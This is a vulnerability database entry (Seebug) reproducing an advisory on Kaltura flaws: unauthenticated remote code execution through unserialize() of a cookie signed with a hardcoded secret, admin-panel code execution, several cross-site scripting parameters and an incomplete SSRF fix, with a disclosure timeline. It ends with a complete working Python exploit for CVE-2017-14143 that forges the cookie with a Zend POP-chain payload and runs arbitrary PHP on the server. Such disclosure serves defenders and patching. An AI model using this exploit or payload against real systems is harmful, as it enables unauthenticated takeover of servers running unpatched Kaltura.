Lucene search

K
seebugRootSSV:96768
HistoryOct 24, 2017 - 12:00 a.m.

Kaltura - Remote Code Execution and Cross-Site Scripting

2017-10-2400:00:00
Root
www.seebug.org
29

EPSS

0.759

Percentile

98.2%

1) Unauthenticated Remote Code Execution through unserialize() from cookie data

Because of a hardcoded cookie secret, the cookie signature validation can
be bypassed and malicious user input can be passed via the ‘userzone’ cookie
to the unserialize() function:

    abstract class kalturaAction extends sfAction
    {
        private $cookieSecret = 'y3tAno3therS$cr3T';

        // [...]
        
        protected function getUserzoneCookie() 
        {
            $cookie = $this->getContext()->getRequest()->getCookie('userzone');
            $length = strlen($cookie);
            if ($length <= 0)
                return null;
                
            $serialized_data = substr($cookie, 0, $length - 32);
            $hash_signiture = substr($cookie, $length - 32);
                 
            // check the signiture
            if (md5($serialized_data . $this->cookieSecret) != $hash_signiture)
                return null;
            
            $userzone_data = unserialize(base64_decode($serialized_data));

To pass this validation the base64 encoded serialized object has to be
hashed and this hash appended to the encoded data. A Zend Framework POP
chain [1] can then be used to execute PHP code when unserializing. When
using PHP7 a different chain has to be used because the e-modifier for
preg_replace is not available anymore.

To execute the getUserzoneCookie() function the getAllEntriesAction has to
be called with a valid entry ID. This ID can be obtained from any public
video object which is embedded and typically begins with ‘0_’.

2) Authenticated Remote Code Execution through unserialize() in the admin panel

The admin panel provides a few ‘Developer System Helper’ functions to
encode/decode user supplied data. The ‘wiki_decode’ function will take user
input and pass it nearly untouched to unserialize():

    // slightly formatted for better readability
    if ( $algo == "wiki_encode" )
	{
		$res = str_replace(
            array ( "|" , "/") , array ("|01" , "|02"),
            base64_encode(serialize($str))
        ); 
	}

    By passing a base64 encoded malicious serialized object, PHP code can be
    executed.

3) Multiple Cross-Site Scripting vulnerabilities under the API path

A few cross-site scripting vulnerabilities were found earlier this year and
fixed [2]. However, this fix was insufficient because PHPs strip_tags()
function only strips tags and is not adequate to secure against XSS
vulnerabilities. There are a few places where this can be exploited to
inject javascript code:

// server/admin_console/web/tools/bigRedButton.php, line 8

    $partnerId = strip_tags($_GET['partnerId']);

    // [...]

    <script>
		var partnerId = <?php echo $partnerId; ?>;

As can be seen above no tags need to be inserted here to execute javascript
code. A simple partnerId=alert(1) will be executed in this scenario. This
also affects a few other files.

server/admin_console/web/tools/bigRedButton.php

        - $_GET['partnerId']
        - $_GET['playerVersion']

server/admin_console/web/tools/bigRedButtonPtsPoc.php

        - $_GET['partnerId']
        - $_GET['playerVersion']
        - $_GET['secret']
        - $_GET['entryId']
        - $_GET['adminUiConfId']
        - $_GET['uiConfId']

server/admin_console/web/tools/AkamaiBroadcaster.php

        - $_GET['streamUsername']
        - $_GET['streamPassword']
        - $_GET['streamRemoteId']
        - $_GET['streamRemoteBackupId']
        - $_GET['entryId']

server/admin_console/web/tools/XmlJWPlayer.php

        - $_GET['entryId']

server/alpha/web/lib/bigRedButtonPtsPocHlsjs.php

        - $_GET['partnerId']
        - $_GET['playerVersion']

Additional notes:

The already published Server Side Request Forgery attack [3] was not fixed
properly, because only an additional check for the http(s) protocol was added.
This still allows to talk to some backend services (like the memcached) or
other machines. There is a whitelist in place to make this more secure, but I
could not find a way how to set this up. This is likely responsible for a
lot of insecure default installations of Kaltura in the wild.

Recommendation:

It is recommended to upgrade to the latest version of Kaltura.

Disclosure Timeline:

    1. August 2017 - Notified vendor
    1. August 2017 - Remote Command Execution vulnerabilities fixed
    1. September 2017 - Cross-Site scripting vulnerabilities fixed
    1. September 2017 - Kaltura 13.2.0 released
    1. September 2017 - Released advisory

                                                #!/usr/bin/env python
 
# Kaltura <= 13.1.0 RCE (CVE-2017-14143)
# https://telekomsecurity.github.io/2017/09/kaltura-rce.html
# 
# $ python kaltura_rce.py "https://example.com" 0_xxxxxxxx "system('id')"
# [~] host: https://example.com
# [~] entry_id: 0_xxxxxxxx
# [~] code: system('id')
# [+] sending request..
# uid=1003(wwwrun) gid=50004(www) groups=50004(www),7373(kaltura)
 
import urllib
import urllib2
import base64
import md5
import sys
 
cookie_secret = 'y3tAno3therS$cr3T';
 
def exploit(host, entry_id, php_code):
    print("[+] Sending request..")
    url = "{}/index.php/keditorservices/getAllEntries?list_type=15&entry_id={}".format(host, entry_id)
 
    cmd = "{}.die();".format(php_code)
    cmd_len = len(cmd)
 
    payload = "a:1:{s:1:\"z\";O:8:\"Zend_Log\":1:{s:11:\"\0*\0_writers\";a:1:{i:0;O:20:\"Zend_Log_Writer_Mail\":5:{s:16:\"\0*\0_eventsToMail\";a:1:{i:0;i:1;}s:22:\"\0*\0_layoutEventsToMail\";a:0:{}s:8:\"\0*\0_mail\";O:9:\"Zend_Mail\":0:{}s:10:\"\0*\0_layout\";O:11:\"Zend_Layout\":3:{s:13:\"\0*\0_inflector\";O:23:\"Zend_Filter_PregReplace\":2:{s:16:\"\0*\0_matchPattern\";s:7:\"/(.*)/e\";s:15:\"\0*\0_replacement\";s:%s:\"%s\";}s:20:\"\0*\0_inflectorEnabled\";b:1;s:10:\"\0*\0_layout\";s:6:\"layout\";}s:22:\"\0*\0_subjectPrependText\";N;}}};}"
 
    exploit_code = payload % (len(cmd), cmd)
    encoded = base64.b64encode(exploit_code)
    md5_hash = md5.new("%s%s" % (encoded, cookie_secret)).hexdigest()
 
    cookies={'userzone': "%s%s" % (encoded, md5_hash)}
 
    r = urllib2.Request(url)
    r.add_header('Cookie', urllib.urlencode(cookies))
 
    req = urllib2.urlopen(r)
    return req.read()
 
if __name__ == '__main__':
 
    if len(sys.argv) < 4:
        print("Usage: %s <host> <entry_id> <php_code>" % sys.argv[0])
        print(" example: %s http://example.com 0_abc1234 system('id')" % sys.argv[0])
        sys.exit(0)
 
    host = sys.argv[1]
    entry_id = sys.argv[2]
    cmd = sys.argv[3]
 
    print("[~] host: %s" % host)
    print("[~] entry_id: %s" % entry_id)
    print("[~] php_code: %s" % cmd)
 
    result = exploit(sys.argv[1], sys.argv[2], sys.argv[3])
 
    print(result)